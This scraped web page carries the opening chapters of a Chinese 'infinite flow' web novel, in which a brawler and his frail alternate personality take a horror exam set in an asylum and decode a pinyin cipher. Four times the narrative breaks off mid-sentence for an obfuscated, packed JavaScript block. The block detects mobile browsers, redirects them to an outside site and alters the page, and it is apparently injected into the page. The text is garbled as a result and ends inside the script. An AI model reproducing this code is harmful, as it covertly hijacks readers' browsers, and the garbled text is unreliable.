《顶级强受,但钓系病美人攻[无限]》 1. 逃离疯人院.1 戚灯醉意识清醒的时候,他正在一所医院里,准确来说,是一所疯人院。 空气中散发着淡淡的药水味,混杂着一种说不出来的异香,戚灯醉在闻到的一瞬间便忍不住蹙了一下眉。 【欢迎考生来到灵异学院,所有考生已到齐,本次参考人数:4人。】 机械的声音环绕在他的耳边,在空旷的病房里回荡着,显得气氛异常诡谲。 【正在发布新生考试题目……】 【本次考试题目:逃离疯人院。】 【本次考试材料:埋葬过无数病人的疯人院,再次迎来了四位精神病人,这里的病人或疯或痴,困于这所“监牢”,直到有一天,103的病人收到了一封未知病人寄来的信……】 【请结合材料和本次考试中所探索到的线索,整理思路,完成以下考题:扮演疯人院的病人,探索真相,并逃离疯人院。】 【考试题目发布完毕。】 【友情提醒:请各位考生诚信作答,切勿作弊!切勿作弊!切勿作弊!一旦违规,学院系统将会严厉处罚!】 一道接一道的声音贯入耳中,震得人耳膜发疼,最后这道提醒的声音格外大,语气也十分强烈,听得出来系统着实很激动。 等这阵尖锐的声音停止后,戚灯醉才开始打量自己所处的环境。 这间病房极为简朴,一张单人床布置得极其整齐,床边摆放着木制床头柜,棱角处有些轻微掉漆。 柜子上立着一个白瓷花瓶,花瓶已经裂了好几道纹路,沿着瓶口蜿蜒而下,仿佛专门刻上的印记,而一束未知品种的花正开得鲜艳夺目。 戚灯醉凑近了闻,发现房间中的异香便是来源于这束花。 房门边被人打上了一颗细钉,工整地挂着一副病历,上面的内容很简单—— 病人性别:男 病人症状:躁郁症 病人序号:3 病人房号:103 下面还有几行备注: 护士每天带来的药物是疯人院和研究所联合研发的,对于病人有不错的效果,可以起到安神助眠的作用,请病人配合服用药物,不要随意丢弃和损毁药物。 另外还用红字批注着: 切记,若您病情已好,请不要服用任何药物,正常人服用该药物,可能出现未知副作用,若不慎服用而导致身体出现其他问题,本院概不负责。 戚灯醉大致扫了一眼病历,清楚了自己的“病情“,然后在心里唤道:“官肆。” 他的嗓音很清冷,却平白增添了几分冷冽,短短两个字,莫名产生了一种压迫感。 另一道从他的意识海里声音响起:“戚哥,怎么了?” 这道声音来自他的副人格官肆。 戚灯醉患有人格分裂症,但与一般的人格分裂不同的是,明明是他自己的身体,但不知为何,每当官肆主导时,他的身体都会异常虚弱,三步一咳五步一喘,弱得风一吹都能倒,以戚灯醉的能力,一巴掌恐怕都能拍死十个官肆。 以至于戚灯醉很长一段时间都怀疑,官肆不是他的副人格,而是不知从哪儿来的冤魂病鬼,用他的身体来温养魂魄。 当然,若他是一个老老实实的本分人,人格就算是一秒一换也不会出什么大问题,他和官肆对彼此间都非常了解,扮演对方也不是什么难事。 但问题就是,戚灯醉就不是一个老实人,他在进入灵异学院之前的身份是打手,因为办事靠谱,来找他接单的人一直很多。 某一次他接了个悬赏,前一秒正在干架,下一秒官肆就出来了。 本来打得对面落花流水的戚灯醉瞬间就丧失了行动力。 对面的人气得脸色铁青,本来他们能很快搞定那个富商拿到赏金的,谁想得到半路杀出个戚灯醉,一拳把他们兄弟几个打得差点爬都爬不起来,跟个死神拦路一样。 领头的人目眦欲裂,大吼了一声:“兄弟们,他娘的,跟他拼了!” 几个兄弟附和了一声,抄起地上的棍子就冲了上来,眼神中都带着些视死如归。 本来他们都做好了被一巴掌扇飞的准备,棍子还没打下去,眼睛已经提前一步闭上了。 谁曾想还没使出多少力气,对面的戚灯醉就被一棍子撂倒在了地上,一动不动的。 领头的懵了,其他兄弟懵了。 官肆也懵了。 他才睁眼就结结实实吃了一棍子,刚出来不到十秒钟,又柔弱地吐了一口血,晕了过去。 “我靠,头,他好像晕过去了,这是什么情况?” “我怎么知道?管他妈的,先把他弄死再说!”他啐了一口,眼神中带着狠厉,“敢挡我们兄弟几个的财路,就别怪我了。” 他甩了甩棍子,往前一挥,使出最大的力气朝着戚灯醉的头砸了下去。 结果,前一刻还瘫在地上呼吸微弱的戚灯醉,下一秒就猛然睁开眼,稳稳攥着领头的人手里的棍子,反手就还了他一棍。 这一棍刚好打在了领头的手骨上。 “嗷——”领头哀嚎一声,疼得满地打滚,龇牙咧嘴,恨得牙都痒了。 “戚灯醉!你个贱人,你明明能打,居然还玩诈的!靠,太他妈阴了。” 戚灯醉没有半分触动,他站起来,居高临下地看着对方,紧身的衣服衬得他肌肉线条流畅而自然。 他似笑非笑,喉结微微攒动着,声音凉薄:“趁着还没死,你还可以多说一点。” …… 【全体考生请注意,请前往大厅领取考生证!】 【全体考生请注意,请前往大厅领取考生证!】 【全体考生请注意,请前往大厅领取考生证!】 一道道急促的广播声拉回了戚灯醉的思绪,他薄唇轻抿,带着些慵懒:“我要干正事,你忍着点,别随便出来,你一出来,等于直接自杀。” 官肆声音清朗,委屈巴巴道:“这又不是我能控制的,我都不知道我什么时候就出来了,这怎么忍。” 戚灯醉轻嗤一声,说:“努力忍。” 官肆:“…………” 大厅里只来了两个人,戚灯醉一进大厅,就和里面的人视线交汇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961523|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人原本懒散的动作一顿,声音明快:“你好,我是裴宿,考生之一。” 〈卧槽,裴宿啊,这下可有意思了。〉 灵异学院观演网里,已经有人忍不住打字了。 〈?裴宿是谁,我又错过了什么瓜?〉 弹幕顿时哗啦啦地开始滚动。 〈你们居然不知道裴宿?他操作真的很骚,我过这么多副本就没见过他那种通关方式的。〉 新生过了新生考试之后,都会有本命武器、职业定位和自己专属的职业技能,后续还可以创办和加入战队。 每个战队都有四个职业定位,分别是主攻位、主防位、辅助位和战术位。 战术位最特殊,一般只有阵法师可以充当。 这位裴宿,便是一位阵法师,他的新生考试名叫《鬼娘子》,考场是在鬼竹林。 一位刚结婚不久的女子撞破了丈夫和人偷情,被残忍杀害之后丢进了一口水井里,因为怨气太重化成了女鬼,见着男人就杀。 他们那个副本有6个人,第一天晚上就死了3个,剩下2个人困在了鬼打墙里,绕了几天都没绕出去。 裴宿靠着一张撩遍天下无敌手的嘴,从女鬼手里死里逃生,软硬兼施,硬生生把女鬼哄舒服了。 〈最他妈离谱的是,这个女鬼最后还在感谢裴宿,说她遇人不淑,说裴宿让她重新相信了爱情,我他妈简直看呆了。〉 〈这都行?有没有人来解答一下,这真不是副本bug?女鬼咋能这么好骗,我记得这场考试在新生考试里难度也是中上的吧。〉 〈鬼知道啊,而且你们还真别说,这个裴宿长得是真的帅啊,据说他玩得可花了,隔壁论坛还扒过他。〉 〈真的假的?他不是才过了两场考试吗?这就把人家扒成这样了?〉 〈?是我审美有问题吗,这脸也叫帅?能不能吃点好的?〉 〈楼上不会是新生吧?新生考试里大家的脸不都是系统随机刷的吗?〉 每个新生的首次考试,也就是新生考试,大家的面容都是系统安排的随机脸,皮下不知道是什么妖魔鬼怪,长得更是五花八门。 学生论坛里曾有人分享过,自己在新生考试里和某个男生一见钟情,同患难、共生死,极速相爱。 结果结束考试出去一看,对方是个红唇大波浪的高冷御姐,而他自己是个纯正的gay,还是个超级容易欲求不满的小0。 这本来就够惊悚了,更可怕的是御姐听说了他的性取向,毫不在意地说自己可以接受第四爱,说自己是个富婆,一定会好好疼他,吓得他从此断情绝爱。 再比如,有个小白脸在新生考试里撩妹,被对方暴揍一顿,他心想这妹子还挺带感,不仅没有退缩,反而更爱了,为了追妹子无所不用其极。 妹子终于被打动,答应了和他在一起。 然后出考场之后,两人面基,对方是个肱二头肌比自己小脑都发达的肌肉猛男,见的第一面差点没把他干''死。 简直是异常惊悚。 〈等等,旁边那个人有点眼熟啊……〉 2. 逃离疯人院.2 大厅内,戚灯醉眼神疏离:“103考生,戚灯醉。” 裴宿斜靠在椅背上:“我是102,至于这位,忘记名字了,暂且叫1号吧……” 裴宿旁边的人淡淡地睨了他一眼,开口道:“贺逐,你要是再记不住就可以滚了。” 贺逐从进房间开始就直直地打量着戚灯醉,丝毫没有回避,但他的目光并没有给人一种被冒犯的感觉。 〈我想起来了!他好像是个很有潜力的考生,貌似是主防位的。〉 〈一场新生考试里有两个老人,新生怕是得被抢考试分了。〉 〈贺逐和裴宿好像都不爱抢分吧……〉 “别这么凶嘛。”裴宿笑了一声,坐直了身,对戚灯醉说:“我在路上遇到了贺兄,所以就和他一起来了。” 这声贺兄亲切而自然,好像已经说过无数遍一样,反而让贺逐说不出其他话来。 【考生已到齐,请领取考生证。】 〈不是才3个人吗,怎么就到齐了?〉 〈你们看上面的考生证,好像是4个吧?〉 大厅中央立着一根磨制石英柱,周边泛着淡淡的光芒,上面悬空着四张卡牌。 卡牌整体是黑色,背面镶嵌着金色的龙纹,不像学生的考生证,倒像是什么顶尖商城的VIP金卡。 戚灯醉走上前,手刚刚张开,一张考生证便飞入了他的手里,考生证在落入手中的瞬间,猛然射出一道光屏。 光屏上,本应显示戚灯醉头像的地方因为新生考试的原因现出一个“???”,而头像旁边则清晰地记录着: 考生姓名:戚灯醉 考生等级:一介学渣LV.5 考生积分:0 考生排名:未上榜 剩下的考生称号、考生战队、考生职业和考生定位全是未知。 同样的,裴宿和贺逐也拿到了自己的考生证,唯独剩下最后一个考生的考生证孤零零地悬在空中,无人问津。 〈有点好奇这人到底是谁,没人取卡,也看不见身份。〉 〈啊?不至于吧,不会刚上来就死一个考生吧?剧情不是都还没开始吗?〉 〈也不是一定要剧情杀吧……〉 〈卧槽,不会跟“恶魔猎人”一样,上来先把其他竞争者弄死吧?〉 大厅内的几人同样面色凝重,官肆在意识海里轻声道:“戚哥,小心一点,我过来路上看了一下,103病房是离大厅最近的,广播刚刚才通知我们去取考生证,他们却能比我们先到,除非……他们早就知道考试开始时需要领考生证。 “——他们两个人不像新生。” 戚灯醉已经明白他的意思了。 【考生证已领取,考生正式入场,考试已开始,请各位考生前往各自初始地。】 裴宿手里捏着卡,熟练地在指尖转了几圈,他站起来,看着戚灯醉眨了眨眼,“看来这场考试会很精彩了,回头见。” 背对着戚灯醉摆了摆手,裴宿走向了102。 疯人院的初始剧情并不算短,趁着NPC还没来,戚灯醉迅速把103病房翻了一遍。 这间病房实在是空得可怕,几乎没有多少人生活过的痕迹,好像103的病人真的就是纯粹地在此接受治疗一样。 刚刚播报的广播里曾经提到:【103的病人收到了一封未知病人寄来的信。】 如果房间里的这副病历没有问题,那么这个房间正是案件线索里所说的103,线索里提到的那封信,是不是也在这个房间里? 压下这些疑惑,他再次仔仔细细地翻找了一遍,终于在病床的床缝里找到了一个信封。 信封并没有落款人,从外表来看,这封信已经有些年份了,信封早已泛黄,有些地方甚至已经潮湿得发霉了,平白给人一种阴森之感。 打开信封,戚灯醉抽出了信件,上面写着只写着一串字母和数字组成的信息。 E7DJIU S19WON PSAND8 55QHAO 这些数字和字母是什么意思? 还未思考,房门外便出现了一阵吵闹声,随即,病房的门被吱呀一声推开,几个穿着破旧白大褂的女护士面无表情地走了进来。 为首的护士长冷冷地看着戚灯醉,说:“3号,吃药了,赶紧的。” 她的声音很嘶哑,嗓子似乎被毁掉了,雌雄莫辨,认真听甚至有点像男生。 戚灯醉对上她的视线,发现护士长的眼睛紧紧地盯着他,眼中竟然出现了兴奋、癫狂的情绪,看上去让人头皮发麻。 病历里说,护士带来的药正常人不能吃,戚灯醉虽然有人格分裂,但不清楚这场考试里他究竟算正常人,还是人格分裂患者。 更何况考场里的药,就算真的是治疗精神病的,他也不敢吃,若吃后出现什么问题,短时间内倒还算好的,若是晕过去久了,可就麻烦了,小则误事,大则丢命。 察觉到戚灯醉的抗拒,护士长开始不耐,她再次催促道:“3号,吃完药你的病才能好。” 戚灯醉接受着护士长的注视,问官肆:“3号有躁郁症,打人应该也不奇怪,你说如果药被毁掉了,他们会怎么办?” “按照副本逻辑来说,戚哥你的行为如果符合病人行为,应该不会触发死亡条件,不过就算真的出事了,不是还有个消失的1号病人吗?” “我虽然身体素质不行,但是短暂伪装成其他人应该还是可以的。”官肆声音轻快,很不要脸地说,“实在不行,就往裴宿和贺逐他们房间躲,怎么着也能先拉个垫背的。” 官肆说话的时候,意识海里代表着他的白色光球头上冒出一根翘起的小绿芽,一股子蔫坏蔫坏的感觉。 戚灯醉唇珠上扬,破天荒地笑了一声,说:“好。” 他看着护士长,语气自然,“你们把药装过来,我现在就吃。” 护士长看见他如此配合,露出了满意的笑容,她拿着药走上前,摊开手哑声道:“3号,快吃药吧,吃完药好好休息。” 戚灯醉接过了她手里的药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961524|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护士长的情绪更加激动了,她干瘪消瘦的脸上满是急迫,似乎生怕戚灯醉不吃药。 在两人触碰的一刹那,戚灯醉死死地抓住了护士长的手,用力一扭。 伴随着一道骨头错位的声音,护士长高声嘶吼,面容扭曲,仿若怨鬼。 戚灯醉勾唇一笑,抬起一脚就踹了过去。 〈妈呀他怎么敢打的?吓我一跳。〉 〈这新生真不怕死啊?〉 〈可能人家就单纯是初生的牛犊不怕虎,不懂考试规则呗。〉 护士长的身体瞬间飞了出去,“哐当”一声在房门上狠狠一撞,她的喉咙里发出凄惨刺耳的叫声,本就已经破旧的护士服更加破败不堪,而原本在她手里的药物,则掉到了地上。 护士们倏然慌张起来,嘴里发出震耳欲聋的嚎叫声,但她们没有先查看护士长的情况,反而是着急着去取地上的药。 ——在她们心里,药物似乎比护士长都重要。 戚灯醉不给她们机会,顺势一脚踩下去,药就被碾碎成了粉末。 哪怕做好了心理准备,官肆还是忍不住感叹道:“戚哥,你好暴力啊。” 戚灯醉神色冷淡,高大挺拔的侧影衬得对面的护士长更加狼狈,他的唇形美而锐利,反而带着说不出的禁欲感,“你这么脆,我不暴力一点怎么保得住?” 白色小光球轻轻地亮了一下。 对于戚灯醉来说理所当然的一句话,在官肆听来却是别样的滋味。 绿芽一挺,俏生生道:“那怎么办呢戚哥,摊上我这样的副人格算你倒大霉了。” 戚灯醉蜷缩了一下好久没活动过的手指,说:“也只有在意识海里,你才能这么有精神了。” 毕竟官肆只要一出来,没点大伤小伤的都不可能。 头顶的那颗小芽也好像蔫了一样,没精打采地垂着。 护士长似乎被踹得不轻,缓了十几秒才慢慢地爬起来,她拖着已经失去知觉的手,恶狠狠地瞪着戚灯醉,眼眸腥红,隐隐带着些不寻常的光芒。 她盯了戚灯醉好一阵,目光幽深,声音沙哑,“3号,你最好不要闹腾,我会找院长重新给你取药。” 然后便带着护士走了。 戚灯醉若有所思:“看来只要符合人设,就不会引起他们的仇恨。” 官肆疑惑道:“他们好像每次只能带一个药,要被毁掉或者喝掉了就得回去取,戚哥,要不要出去看看?” 戚灯醉点头,“走,去病房外面扫一眼。” 等到出了房间,戚灯醉才发现他的房间很特殊,其他3位考生的病房都是在同一条走廊上,依次是101.102和104,唯独他的103房间是在另一条走廊上的。 简单地观察了走廊后,戚灯醉大致明白了去101的路线,他再次进了房间,准备重新看看那封信。 “砰砰砰——砰——砰砰——” 房门被敲响了。 护士长的声音比起上次来说,明显多了几分警告。 “3号,吃药了。” 3. 逃离疯人院.3 戚灯醉开了门,上一次护士来的时候明显对药物非常重视,被毁掉一次药后,这次她们吸取了教训,直接摁住戚灯醉,把药灌进了他的嘴里。 等亲眼看着戚灯醉吞下了药,护士长才心情愉悦地招呼护士们端着盘子走了。 动静平息后,戚灯醉吐出嘴里的药,“这东西还挺苦,走,去101看看。” 是时候去找找这个从考试开始就从未出现的1号考生了。 101距离103是最远的,探索难度很大。 1号病房里并没有人,空空荡荡,但比起3号病房来说,101显得更加破旧,细细碎碎的墙灰浮在墙壁上,轻轻一碰便往下掉渣。 戚灯醉照例翻了翻病人的病历,却在看见病症的一瞬间瞳孔紧缩。 病人性别:男 病人症状:人格分裂症 病人序号:1 病人房号:101 人格分裂? 这不是他的症状么? 一场考试里可能存在两个玩家的症状趋同吗?如果真的论适配度,人格分裂和他适配度远高于躁郁症。 所以……有没有种可能,他根本不是3号病人呢? 可如果他不是3号,他为什么会在3号的病房里醒过来?真正的3号去了哪里?护士长为什么认不出他的脸不是3号? 如果他是3号,为什么还会有一个症状是人格分裂症的考生?考试开始这么久了,真正的1号为何一直都不出现呢? 疑点越来越多,戚灯醉又打开了病房内的衣柜,然后原地愣住了。 “戚哥,怎么了?” 戚灯醉沉默良久,道:“1号的其中一个人格,好像有……女装癖。” 官肆:“啊?” 恰在此时,护士长来101送药了。 透过房门上的猫眼,戚灯醉发现来101的和103的护士是同一批。 “戚哥,来不及了,房间里女装这么多,要不你选一套穿上去应付一下护士长?”白色的小草光球晃了晃,声音急促:“反正一切都是为了任务,戚哥你不用不好意思的。” 戚灯醉轻笑一声:“哪那么麻烦?还不如把他们全……” 话还没说完,戚灯醉就失去了意识。 官肆:“…………”完啦。 突然占据身体的官肆脸都白了。 这下好了,能把护士长打趴下的戚灯醉没了,换了一个弱不禁风的他。 门外的护士长已经等得不耐烦了,带着护士们破门而入。 然后她们就看见——房间内的人身穿红色旗袍,一头齐腰的长发柔顺自然,带着口罩,神色冷淡又好似带着一丝屈辱,“给我吧,我现在就吃药。” 忽略掉那张系统配置的脸,从背影来看,活脱脱就是一个长发红衣大美人。 意识海中的代表着戚灯醉意识的黑色光球膨胀了一下,传来了戏谑的一声笑,“一切都是为了考试,不用不好意思。” 官肆:“…………”丢脸,太丢脸了。 出乎意外的是,护士长没有做出多余的举动,而是举止温柔体贴,神情不似在103里时那般反常,反而真的像一个心地善良的小护士。 她把药轻轻地放到官肆身旁的盘子里,声音柔和:“101,药我放到盘子里了,别忘记吃药。” 临走时,她还轻轻地带上了门。 动作细致到了极点。 〈啥情况,有人格分裂的是护士长吧?这也太区别对待了。〉 〈这样显得103那边好呆啊哈哈哈。〉 〈103:打扰了。〉 官肆松了一口气,“她们怎么这么放心1号,那个护士长对1号跟对亲女儿一样,柔情似水的,一到我们那边就发狂。” “她现在看起来更正常。”戚灯醉道,“很可能101的病人身份特殊,护士长得罪不了,也置喙不了。” “还有一种可能。”戚灯醉看着盘里的药,目光短暂地掠过了整个病房,“101里面没有可以诱发她癫狂的东西。” 【各位考生,插播一条消息。】 【每天晚上送完药,护士长皆会回到护士站休息,皆时病房走廊将不会有人,各位考生可以自行探索,解开谜题。】 【为推进考试进程,现将时间加速6小时,进入午夜。】 广播声刚刚落下,官肆的眼前便跳出一块比他人还大的古典表盘,上面的指针飞速旋转,时间眨眼就流逝了好几个小时。 官肆再次睁眼时,他躺在床上,只觉得房间里的香味越发浓郁,惹得他头晕目眩,他刚爬起来,却在看见花瓶的一瞬间愣住了。 “戚哥,醒醒。”官肆唤醒了意识海里沉睡的戚灯醉。 戚灯醉轻哼了一声,嗓音带着一丝沙哑,“出什么事了?” “戚哥,你看看这个花,我们白天里看见这束花的时候,它开得有这么旺盛吗?” 困意顿时烟消云散,戚灯醉在黑暗中仔细辨认了一下,说:“的确没有这么旺盛,不对,白天它只开了三朵,现在有五朵。” 官肆登时觉得脊背发凉。 现在离他们进入这个考场不过1个小时的时间,即使加上时间加速了的6个小时,也才7个小时,一束花怎么可能在这么短的时间内多开出了整整两朵,还开得如此旺盛。 这束花明显有问题! 戚灯醉回忆起最开始看见这束花的场面,说:“官肆,这个花瓶裂了这么大的缝,每天浇水必定会漏水。” “除非——” “它只开一天就够了,不需要浇水。” 戚灯醉沉声道,“这花有问题,先把花瓶扔出去再说。” “先别扔。”官肆连忙道,“戚哥,这花香估计有什么特殊作用,我们扔了,如果早上起来护士长来送药,发现花没了,很可能会激怒她。” 戚灯醉道:“我们不清楚花的作用,这花不能留在这里,等到早上,怕是尸体都凉了。” 这个局面可以说进退两难:扔花,早上会激怒护士长,死路一条。不扔花,可能都活不过今晚,依旧死路一条。 官肆:“没办法了,戚哥,系统加速了时间流逝,又让这束花这么快就开了,明摆着是要我们速战速决。” 戚灯醉神色凝重:“恐怕得先去二楼看看了,官肆,先出去吧。” 官肆怔住了,“我就这个样子出去?” 戚灯醉意味不明地笑了一声,“这不挺好的?你我现在换不回来,你这样还能迷惑一下其他人。” 官肆道:“那裴宿和贺逐呢?我要不要告诉他们我的身份?” 戚灯醉想了想,说:“我们差别太大了,在平常世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961525|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界,性格可以伪装,但在考场里,随时随地都可能面临危险,需要打架,尤其是你切过来后,身体会虚弱很多倍,很难瞒过其他人。” 他道:“说了也无妨,考场就4个人,你的出现便是未知的因素,反而更有震慑力。” 从房间里捞出一双高跟鞋穿上,官肆道:“可是他们要是知道我一点武力值都没有,我们反而会更危险。” 戚灯醉:“那你就自求多福。” 官肆:“…………” - 裴宿压着脚步,一点一点地往前挪动。 〈他在干嘛?跟个小偷一样。〉 〈貌似是要来103偷窥。〉 〈什么偷窥啊,裴神这是侦查,懂不懂?〉 〈还裴神呢?裴宿这么快就有粉丝了?上面的不会是裴宿梦男吧?〉 〈裴宿的动作好猥琐啊,我要笑死了。〉 黑暗中,他好像撞到了什么东西,鼻梁被一块石头一般的硬物磕了一下,疼得他忍不住要“嘶”一声。 面前突然伸出一只手捂住了他的嘴,掌心的温度烫得他浑身一颤。 就在此时,门吱嘎一声开了。 官肆打开门,脚还没踏出去,便和门外的两个黑影对视了。 贺逐还保持着捂嘴的动作,两人神情俱是一愣,等裴宿忍不住扯下他的手时,贺逐才反应了过来,脸色一黑。 官肆:“…………” 裴宿在看见官肆的一瞬间就瞳孔地震了,他看着眼前的人红袍长发御姐风,配合着系统选出来的那张普通到极点的脸,喜剧感简直拉满了。 他咽了咽口水,骨鲠在喉一般,极其艰难地说道:“没看出来啊,你还好这口。” 官肆:“…………” 他终于知道贺逐为什么都不给他好脸色了,这人可真是欠揍,要不是他打不过,真想上去给他一拳。 压下心头的屈辱感,官肆冷着脸说:“我不是戚灯醉,我是他的副人格官肆,戚哥去休息了。” 贺逐挑了挑眉,“副人格?戚灯醉有人格分裂?” 官肆语气微冷:“对,所以你们来这里做什么?” 裴宿毫不避讳:“来看看你们怎么样了,如果你们中了白天那颗药丸的招,我就来拿走103的信,如果你们没中招,就证明你们还是很有能力的,我自然不想多一个对手。” 他的话坦坦荡荡,反而让官肆少了一分疑虑。 “现在看来,你是一个值得合作的对象。”裴宿伸出手,说,“重新介绍一下,我是裴宿,战术位阵法师,已经过了两场考试,这是第三场,希望我们合作愉快。” 官肆抬头示意贺逐的方向,问裴宿:“他呢?” 感觉到了官肆的敌意,裴宿做了个投降的手势,笑道:“路上碰巧遇见了贺兄,你说呢?贺兄。” 官肆:“碰巧?” 裴宿放下手,状似无奈地打趣道:“你应该问问贺兄,是不是在我身上安了GPS,还是说我们之间是有什么心灵感应?我走到哪儿都能碰见他。” 没想到贺逐一本正经地回应他:“嗯,碰巧。” 这下倒是真让裴宿哑口无言了。 “我没法彻底相信你们。”官肆看着他们,晃了晃手里的信。 “不过这封信,我倒是可以给你们看看。” 4. 逃离疯人院.4 裴宿:“信?考题里说的103的那封?” 官肆道:“不清楚,大概率就是这封信,这封信藏得很深,戚哥把整个病房都翻了一遍才找到。” 裴宿看着他把信摊开,问他:“你既然不想和我合作,为什么还要把信给我看?你不像是喜欢‘无私奉献’的人。” “自然。”官肆动作一顿,说,“我不会在无法保证自己安全的情况下让自己陷入险境,少一个敌人总归是好的,若是真有刀剑相向的那一刻,也是往后的事,目前,我们的首要任务都是解开谜题,进入下一段剧情,不是么?” 裴宿笑了一声:“明白人,这就好办了。” 他的目光聚集在了这串字符上。 E7DJIU S19WON PSAND8 55QHAO “你们觉得这些是什么?”官肆指着字母道,“英文?” “不像。”贺逐解释道,“如果这封信本身是英文,那这些数字都应该转化成对应的26个英文字母。但别忘了,26是2、6两个数字组成的数字,两位数以上的数字是可以拆分的,那么这信上的19,到底是19,还是1和9呢?” 涉及到这种解密类型的问题,贺逐显然积极了不少。 “当然,这只是一种猜测,还有一种可能,是将这些英文字母转化为26个字母对应的数字,这样,我们得到的线索就是一串数字了。” 官肆摇了摇头,“这是一封信,不是单独的线索,对于信,我比较倾向于——” “最后的答案应该是一段文字。” 几人不约而同地陷入了沉默。 忽然,意识海里传来了戚灯醉的声音。 “拼音。”戚灯醉道,“这些字母是汉语拼音。” “拼音?”官肆问道,“那这些数字是什么?数字没法变成拼音。” “没错,所以这些数字是干扰项。” 戚灯醉透过官肆的眼睛,望向信件,“数字和字母很难组成搭档,如果以‘文字’作为突破点,信又涉及到了各种字母,最大的可能就是拼音。” 官肆登时就明白了他的意思,看着信,一个字符一个字符地念到:“E7DJIU,S19WON,PSAND8,55QHAO,排除里面的数字,应该是EDJIU,SWON,PSAND,QHAO。” “ED无法与后面的字母组成拼音,因此排除,同理,S和N也无法与后面的字母组成拼音,也排除,按这样排除干扰项,就得到了一组拼音。” 一旁默不作声的贺逐理解了他的意思:“JIU,WO,SAN,HAO。” 【救我三号】 “你们说的没错,但我有一个问题。”裴宿道。 “信里的‘我’和3号是不是同一个人?” 如果“我”和“3号”是同一个人,这封信便是三号在向其他人求救,还原意思应该是:“救我,我是3号。” 如果“我”和“3号”不是一个人,这封信便是另一个人在向3号求救,还原意思就应该是:“3号,救救我。” 考虑到裴宿的问题和案件中出现的疑点,戚灯醉合理怀疑,自己的身份——103的病人可能没有躁郁症,更没有任何精神病,他是装病的,至于他来这所疯人院的目的还不得知。 官肆道:“可是,我们是在103醒过来的,戚哥,如果你不是3号,那你又是谁?真正的3号呢?” 房间里陷入了沉默。 官肆忽然道:“你们的病症是什么?” 裴宿道:“我?我没病,我的身份是因为家族夺权斗争失败,被人按了个精神病的身份送进来的少爷,按的病症就是最简单的抑郁症。” 贺逐瘫着脸说:“我是情感障碍,或者说情感缺失。” 官肆道,“我们已经去过101了,但是101没有人,也没有看见1号考生的相关信息。” 贺逐:“那病历呢?” 官肆:“病历上说1号有人格分裂,很奇怪,按理说,我和戚哥更符合这个设定,不知道为什么我们却是从103醒来的。” “不能这么看。”贺逐沉思道,“病历上没有姓名,我们每个人醒来的地方并不一定就是自己的病房,很可能我们现在的顺序是打乱了的。” 官肆也认同他的说法,“考场里一定有指向身份的线索,走廊你们查过了吗?” “没有。”裴宿摊开手,“我们来来回回怕护士长发现,都是尽可能缩短在走廊的时间。” 官肆蓦然明白了什么。 “刚刚播报里有特意提到走廊没人,走廊一定有线索。”他道,“我去103走廊,你们在这个走廊,仔细查一下。” “好。”贺逐道,“小心一点。” 疯人院病房的走廊里很空旷,只有一个和103病房里一样的异香花瓶,走廊墙壁用白漆粉刷成了一片惨白,天花板上悬挂着一张张蛛网。 墙面有些地方已经裂开了,一直延伸到墙底,掉漆的地方从里坦露出大片腥红之色,让人毛骨悚然。 官肆轻声道:“戚哥,你不觉得这个考场的线索过于少了么?这个走廊肉眼看过去根本没有什么线索,而且这只是我们的第一场考试,这个难度实在是太奇怪了,难不成这个所谓的灵异学院是想让我们死么?” 意识海里的戚灯醉轻轻抚摸了一下身边的小光球。 “看不到不一定摸不到,你试着摸一下。” 官肆点点头,顺着走廊一路摸过去,墙壁表面看着平整,摸起来却并不是一回事,白墙上有很细密的齿状纹路,因为墙体材质原因,反而有些硌手。 就这么摸了好几圈,官肆仍旧一无所获。 他叹了一口气,靠在墙上,正打算开口,戚灯醉却听见了他的一声闷哼。 “怎么了?” 官肆被硌得背后生疼,他道:“不对劲,戚哥,我背后的墙上有问题,好像有什么东西硌了我一下。” 他转身,看见自己刚刚靠的地方是101的门牌号。 “戚哥,上面有字!” 〈卧槽,真的假的?〉 〈不对啊,我记得上次看这场考试的时候,好像没有这段剧情啊?〉 〈是新增剧情还是隐藏剧情啊?这场考试不会难度升级了吧?上一组考生貌似也没有什么复杂的人格分裂症和这个隐藏的字,那个101的考生也没有消失。〉 〈不知道啊,看看呗。〉 官肆缓缓摩挲着门牌号,发现这副门牌号本身是平整的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 